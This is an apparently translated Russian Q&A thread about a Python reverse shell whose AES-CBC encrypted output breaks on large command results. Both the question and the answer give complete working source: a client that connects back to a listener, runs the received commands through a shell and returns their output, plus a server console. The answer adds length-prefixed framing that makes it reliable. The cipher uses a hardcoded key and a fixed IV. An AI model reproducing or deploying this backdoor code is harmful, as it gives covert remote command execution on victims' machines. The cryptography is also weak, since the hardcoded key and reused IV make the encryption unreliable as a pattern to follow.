Python криптодом AES-CB C / проблемы с выводом большой команды subprocess - PullRequest
0 голосов
/ 06 августа 2020

У меня есть следующий код для простой обратной оболочки клиент / сервер в python3.

он будет подключаться нормально, и любая команда с небольшим выводом будет отлично работать. такие команды, как «whoami» и перечисление содержимого каталога с одним или двумя файлами. Проблема, похоже, связана с любой командой, которая дает большой вывод, например, перечислением всех файлов в большом каталоге или командой «ipconfig / all». Это приведет к sh программе "ValueError: Padding is invalid".

Я уверен, что это что-то простое, но я новичок в этом и не уверен. Спасибо

client.py

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import socket
import subprocess
key = b"H" * 32
IV = b"H" * 16

def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message

def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

def connect():
    s = socket.socket()
    s.connect(('192.168.0.2', 8080))
    while True:
        command = decrypt(s.recv(1024))
        if 'leave' in command.decode():
             break
        else:
            CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE,           stdin=subprocess.PIPE, stdout=subprocess.PIPE)
            s.send(encrypt(CMD.stdout.read()))
    

def main():
    connect()
main()

server.py

import socket

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding

IV = b"H" * 16
key = b"H" * 32

def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message

def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

def connect():

    s = socket.socket()
    s.bind(('192.168.0.2', 8080))
    s.listen(1)
    conn, address = s.accept()
    print('Connected')
    while True:

        command = input("Shell> ")
        if 'leave' in command:
            conn.send(encrypt(b'leave'))
            conn.close()
            break
        else:
            command = encrypt(command.encode())
            conn.send(command)
            print(decrypt(conn.recv(1024)).decode())
def main():
    connect()

main()

1 Ответ

0 голосов
/ 06 августа 2020
    print(decrypt(conn.recv(1024)).decode())

Проблема в том, что conn.recv(1024) считывает только до 1024 байтов, тогда как вывод для более крупных команд, вероятно, имеет размер более 1024 байтов, что приводит к получению неполного зашифрованного текста.

Примечание что одно чтение также может иметь меньше байтов, поэтому мы действительно не знаем, сколько нам нужно прочитать, поскольку TCP - это протокол потоковой передачи.

Простое исправление для этого - добавить к каждому сообщению префикс длины зашифрованного текста. Используя 4 байта (32 бита) для максимальной стороны зашифрованного текста, сообщение выглядит следующим образом:

[p1,p2,p3,p4][c1,c2,c3...], где p1..p4 - это 4 байта префикса, а c1... cn - байты зашифрованного текста.

Итак, теперь, когда мы начинаем читать сообщение, мы сначала читаем 4 байта, интерпретируя их как целое число, мы получаем размер следующего зашифрованного текста.

Пример реализации:

client.py

import socket
import subprocess

from protocol import read_msg, write_msg


def connect():
    s = socket.socket()
    s.connect(('localhost', 4040))
    while True:
        command = read_msg(s)
        print("command %s" % command)
        if 'leave' in command.decode():
            break
        else:
            CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE,
                                   stdout=subprocess.PIPE)
            write_msg(s, CMD.stdout.read())


def main():
    connect()

main()

crypto.py

from Crypto.Util import Padding
from Crypto.Cipher import AES

key = b"H" * 32
IV = b"H" * 16


def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message


def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

protocol.py

from crypto import encrypt, decrypt


def read_msg(s):
    max_buffer_size = 1024

    length_buffer = b""
    while True:
        if len(length_buffer) == 4:
            break
        b = s.recv(1)
        length_buffer += b
    message_length = int.from_bytes(length_buffer, "big")
    message_buffer = b""

    read_size = min(message_length, max_buffer_size)

    to_read = message_length
    while to_read != 0:
        read = s.recv(read_size)
        message_buffer += read
        to_read -= len(read)

    return decrypt(message_buffer)


def write_msg(s, message):
    encrypted_message = encrypt(message)
    message_length = len(encrypted_message)
    message_length_raw = message_length.to_bytes(4, "big")
    s.send(message_length_raw + encrypt(message))

server.py

import socket

from protocol import write_msg, read_msg


def connect():

    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('localhost', 4040))
    s.listen(1)
    conn, address = s.accept()
    print('Connected')
    while True:

        command = input("Shell> ")
        if 'leave' in command:
            write_msg(conn, b'leave')
            conn.close()
            break
        else:
            write_msg(conn, command.encode())
            print(read_msg(conn).decode())
def main():
    connect()

main()
...